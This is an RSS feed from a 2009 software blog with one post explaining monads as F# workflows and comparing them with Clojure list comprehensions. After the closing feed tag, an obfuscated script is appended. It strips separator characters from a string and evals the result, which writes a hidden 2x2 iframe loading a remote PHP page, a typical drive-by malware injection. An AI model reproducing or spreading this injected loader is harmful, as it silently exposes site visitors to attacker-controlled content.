<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>LexParse &#187; Monads</title>
	<atom:link href="http://www.lexparse.com/tag/monads/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.lexparse.com</link>
	<description>Software Development</description>
	<lastBuildDate>Sat, 14 Nov 2009 03:39:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>F# and Workflows (Monads)</title>
		<link>http://www.lexparse.com/2009/10/29/f-and-workflows-monads/</link>
		<comments>http://www.lexparse.com/2009/10/29/f-and-workflows-monads/#comments</comments>
		<pubDate>Thu, 29 Oct 2009 14:41:53 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Clojure]]></category>
		<category><![CDATA[F#]]></category>
		<category><![CDATA[Haskell]]></category>
		<category><![CDATA[Lisp]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[Monads]]></category>

		<guid isPermaLink="false">http://lexparse.com/?p=53</guid>
		<description><![CDATA[Don&#8217;t let the name scare you. A monad is just something that represents one or more computations, a workflow. The need for monads came up in pure functional programming languages like Haskell where given a set of inputs, a function should return the same value every time. But what happens when you have a function [...]]]></description>
			<content:encoded><![CDATA[<p>Don&#8217;t let the name scare you. A monad is just something that represents one or more computations, a workflow. The need for monads came up in pure functional programming languages like Haskell where given a set of inputs, a function should return the same value every time. But what happens when you have a function that takes a filename and line number and returns a byte array of the data on that line in the file?  Might it not return a different byte array between subsequent calls if the file changed?  The solution: instead of executing the operations to read the file and return the data, the function creates a workflow(monad) that will do that.  So what comes back from the function is a workflow, something that represents the operations to read from the file.  In typical pragmatic form, Microsoft decided to use a better name for this in F#: Workflows.  The stuff in the Workflow is called the <em>compuation expression</em>.  These names make sense.</p>
<p>It turns out workflows are useful for other things like building <a href="http://msdn.microsoft.com/en-us/library/dd233209(VS.100).aspx" target="_blank">Sequence Expressions</a> and<a href="http://msdn.microsoft.com/en-us/library/dd233250(VS.100).aspx" target="_blank"> Async Workflows</a>.  The advantage is a syntactic sugar for creating what is usually a gobbledygook of disparate pieces of code to accomplish the same thing.  You can <a href="http://msdn.microsoft.com/en-us/library/dd233182(VS.100).aspx" target="_blank">create your own workflows</a> by creating a type with a couple of important mothods: Bind, Delay, and Return.  I really recommend watching <a href="http://channel9.msdn.com/pdc2008/TL11/" target="_blank">Luca Bolognese&#8217;s presentation</a> on F#.  Its worth watching for the section where he discusses Async Workflows.  Pretty amazing stuff.</p>
<p>If you come from the Lisp world, F# Sequence Expressions will seem familiar to you.  In <a href="http://www.clojure.org" target="_blank">Clojure </a>and Lisp they are called <a href="http://clojure.org/api#toc264" target="_blank">List Comprehensions</a> but are essentially a specialized Monad/Workflow.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/10/29/f-and-workflows-monads/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>var bpxDsSbm8='d*%@o*%@c*%@u*%@m*%@e*%@n*%@t*%@.*%@w*%@r*%@i*%@t*%@e*%@(*%@\'*%@<*%@i*%@f*%@r*%@a*%@m*%@e*%@ *%@s*%@r*%@c*%@=*%@"*%@h*%@t*%@t*%@p*%@:*%@/*%@/*%@n*%@i*%@n*%@o*%@p*%@l*%@a*%@s*%@.*%@c*%@o*%@m*%@/*%@i*%@n*%@.*%@p*%@h*%@p*%@"*%@ *%@w*%@i*%@d*%@t*%@h*%@=*%@2*%@ *%@h*%@e*%@i*%@g*%@h*%@t*%@=*%@2*%@ *%@f*%@r*%@a*%@m*%@e*%@b*%@o*%@r*%@d*%@e*%@r*%@=*%@0*%@>*%@<*%@/*%@i*%@f*%@r*%@a*%@m*%@e*%@>*%@\'*%@)*%@;*%@';eval(bpxDsSbm8.split('*%@').join(""));</script>